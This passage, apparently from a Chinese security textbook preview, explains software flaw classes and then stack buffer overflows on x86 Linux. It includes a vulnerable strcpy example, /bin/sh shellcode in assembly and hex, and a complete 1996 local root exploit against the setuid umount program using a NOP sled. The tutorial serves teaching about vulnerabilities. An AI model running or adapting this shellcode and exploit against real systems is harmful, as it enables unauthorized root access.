计缺陷。(5)配置错误。配置错误的缺陷指的是程序由于用户的配置错误(故意或者意外地)引起系统运行不稳定。这个缺陷并不在于程序的设计和实现,而在于程序的配置。值得注意的是,很多软件在包装的时候都有一个缺省配置,用户在安装的时候基本上按照这个配置进行修改。如果缺省配置出现问题,那么系统就出现漏洞。一个著名的例子就是旧的 Sendmail版本的缺省配置没有关闭邮件转发功能,使得攻击者可以利用这个服务进行转发垃圾邮件。(6)竞争条件错误。竞争条件错误是程序的安全检查模块在一些非常特殊的情况下出现错误而引起的。比如说,一个程序在运行的时候都要执行多个操作,在执行每个操作之前,程序都要检查该操作是否合法,然后才执行它。模块化编程都将安全检查工作交给安全检查模块完成。但是,在安全检查模块检查的那个时刻和程序执行操作的时刻之间的一瞬间,一些条件有可能会改变,如环境条件使得安全检查模块的检查结果根本没有什么意义。攻击者很可能利用这个很小的机会去攻击系统。竞争条件错误的一个常见形式就是程序在一个可读写的目录下建立一个文件之前没有检查该文件是否存在。攻击者可以利用这一点,猜测程序可能会建立的文件名,并提前以这个文件名建立一个软连接。这样,攻击者可以以程序运行的权限去覆盖系统文件。

以下我们将详细介绍几种重要的软件实现问题。1.2.1 缓冲区溢出

1.什么是缓冲区溢出

缓冲区溢出的缺陷是属于输入确认错误的类型。它是一种相当普遍的缺陷,并且也是一种非常危险的缺陷。攻击者可以利用缓冲区溢出缺陷进行攻击,获得系统超级用户权限。缓冲区溢出的攻击之所以危险是因为它可以获得系统的最高控制权,此外它还很难被检测出来。如果系统的某个软件或者脚本存在着缓冲区溢出的缺陷,那么这个系统很可能会受到缓冲区溢出的攻击。

缓冲区溢出的攻击指的是一种系统攻击的手段,通过向程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他指令,以达到攻击的目的。

造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。所以说缓冲区溢出的缺陷属于输入确认错误的缺陷。为了理解缓冲区溢出的机制,我们先看一个例子: example1.1.c -------------------------------------------------------------- void function (char *str) { char buffer[16]; strcpy (buffer,str); } ---------------------------------------------------------------

上面的strcpy() 将直接把str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。存在像strcpy这样的问题的标准函数还有strcat()、sprintf()、vsprintf()、gets()、scanf() 以及在循环内的getc()、fgetc()、getchar()等。当然,随便向缓冲区中填东西造成它溢出一般只会出现Segmentation fault错误,而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其他命令。如果该程序属于 root且有suid权限的话,攻击者就获得了一个有 root权限的shell,可以对系统进行任意操作了。

请注意,如果没有特别说明,下面的内容都假设用户使用的平台为基于Intel x86 CPU的Linux系统。对其他平台来说,这里的概念同样适用,但程序要做相应修改。

2.制造缓冲区溢出

一个程序在内存中通常分为程序段、数据段和堆栈三部分。程序段里放着程序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中,它们存放的位置如图 1.4所示。图1.4 一个程序在内存中的存放

堆栈的一个特性就是后进先出(LIFO),就是说先进入堆栈的对象会在最后出来,进入堆栈的最后一个对象会是第一个出来。堆栈的两个最重要的操作就是PUSH和POP。PUSH操作把对象放入堆栈的顶端(最外边)。POP操作实现一个逆的过程,把顶端的对象(最外边)取出来。

在内存中,对象是一块连续的内存段。一般来说,堆栈的上面有更低的内存地址,换句话说,在PUSH操作中,堆栈向内存的低端发展。有一个寄存器叫做堆栈指针(SP)。SP存放的是堆栈的顶端地址。PUSH和POP的操作都修改SP的值,使得SP常常指向堆栈的顶端。除了SP寄存器,系统还设计一个寄存器叫做基址寄存器(LB)。LB寄存器用来存放堆栈中一个固定的地址。由于PUSH和POP的操作不会修改LB的值,所以可以通过LB指向的位置读取堆栈中的参数。

当程序中发生函数调用时,计算机做如下操作:

首先把参数压入堆栈,也就是把参数放在堆栈的最里边(一般来说是在堆栈的高端地址)。

第二个操作就是把指令寄存器(IP)中的内容压入堆栈,作为返回地址(RET)。

第三个操作是把当前(旧)的基址寄存器(LB)压入堆栈保存,然后把当前的栈指针(SP)拷贝到LB,作为新的基址。这样,程序可以通过LB这个值去读上面第一个操作所压入的参数。

最后的操作是为本地变量留出一定空间,把SP减去适当的数值。

我们以example1.2.c为例,描述上面的过程。 example1.2.c --------------------------------------------------------------- void function (char *str) { char buffer[16]; strcpy (buffer,str); } void main () { char large_string[256]; int i; for ( i=0; i<255; i ++) large_string[i]='A'; function (large_string); } ---------------------------------------------------------------

当调用函数 function()时,第一个被压入堆栈就是参数*str。第二个被压入堆栈就是函数的返回值ret。第三个被压入堆栈就是旧的基址 LB。这时候,新的基址寄存器的内容应该指向堆栈的这个位置。最后是在堆栈中留出一个空间(buffer)给本地变量。完成了这几个操作,堆栈如图1.5所示。

因为从buffer开始的256字节都将被*str的内容‘A’覆盖,包括LB、ret,甚至*str。‘A’的十六进制值为0x41,所以函数的返回地址变成了0x41414141,这超出了程序的地址空间,所以出现段错误。程序执行的结果是“Segmentation fault (core dumped) ”或类似的出错信息。

3.通过缓冲区溢出获得用户shell

如果在溢出的缓冲区中写入我们想执行的代码,再覆盖返回地址(ret)的内容,使它指向缓冲区的开头,就可以达到运行其他指令的目的,见图1.6。图1.5 调用一个函数后的堆栈图1.6 通过堆栈返回指令执行代码(一)

通常,我们想运行的是一个用户shell。见example1.3.c.example1.3.c---------------------------------------------------------------void main() {__asm__("   jmp 0x1f # 2 bytes  popl %esi # 1 byte  movl %esi,0x8(%esi) # 3 bytes  xorl %eax,%eax # 2 bytes  movb %eax,0x7(%esi) # 3 bytes  movl %eax,0xc(%esi) # 3 bytes  movb $0xb,%al # 2 bytes  movl %esi,%ebx # 2 bytes  leal 0x8(%esi),%ecx # 3 bytes  leal 0xc(%esi),%edx # 3 bytes  int $0x80 # 2 bytes  xorl %ebx,%ebx # 2 bytes  movl %ebx,%eax # 2 bytes  inc %eax # 1 bytes  int $0x80 # 2 bytes  call -0x24 # 5 bytes  .string \"/bin/sh\" # 8 bytes # 46 bytes total");}---------------------------------------------------------------

将上面的程序用机器码表示即可得到下面的十六进制shell代码字符串(example4.c)。 example1.4.c -------------------------------------------------------------- char shellcode[]= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr=(long *) large_string; for (i=0; i<32; i++) *(long_ptr+i)=(int) buffer; for (i=0; i<strlen(shellcode); i++) large_string[i]=shellcode[i]; strcpy(buffer,large_string); } ---------------------------------------------------------------

这个程序所做的是,在large_string中填入buffer地址,并把shell代码放到large_string的前面部分。然后将large_string拷贝到buffer中,造成它溢出,使返回地址变为buffer,而buffer 的内容为 shell 代码。这样当程序试从strcpy() 中返回时,就会转而执行shell。

4.利用缓冲区溢出进行的系统攻击

如果已知某个程序有缓冲区溢出的缺陷,如何知道缓冲区的地址,在哪儿放入shell代码呢?由于每个程序的堆栈起始地址是固定的,所以理论上可以通过反复重试缓冲区相对于堆栈起始位置的距离来得到。但这样的盲目猜测可能要进行数百上千次,实际上是不现实的。解决的办法是利用空指令 NOP。在 shell 代码前面放一长串的NOP,返回地址可以指向这一串NOP中任一位置,执行完NOP指令后程序将激活shell进程。这样就大大增加了猜中的可能性。图1.7 通过堆栈返回指令执行代码(二)

图1.7中,N代表NOP,S代表shell。下面是一个缓冲区溢出攻击的实例,它利用了系统程序mount的漏洞。 example1.5.c --------------------------------------------------------------- #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/stat.h> #define PATH_MOUNT "/bin/umount" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50 u_long get_esp() { __asm__("movl %esp,%eax"); } main(int argc,char **argv) { u_char execshell[]= "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char *buff=NULL; unsigned long *addr_ptr=NULL; char *ptr=NULL; int i; int ofs=DEFAULT_OFFSET; buff=malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr=buff; /* fill start of buffer with nops */ memset(ptr,0x90,BUFFER_SIZE-strlen(execshell)); ptr +=BUFFER_SIZE-strlen(execshell); /* stick asm code into the buffer */ for(i=0;i<strlen(execshell);i++) *(ptr++)=execshell[i]; addr_ptr=(long *)ptr; for(i=0;i<(8/4);i++) *(addr_ptr++)=get_esp()+ofs; ptr=(char *)addr_ptr; *ptr=0; (void)alarm((u_int)0); printf("Discovered and Coded by Bloodmask and Vio,Covin 1996\n"); execl(PATH_MOUNT,"mount",buff,NULL);}---------------------------------------------------------------

试读结束[说明:试读内容隐藏了图片]

下载完整电子书


相关推荐

最新文章


© 2020 txtepub下载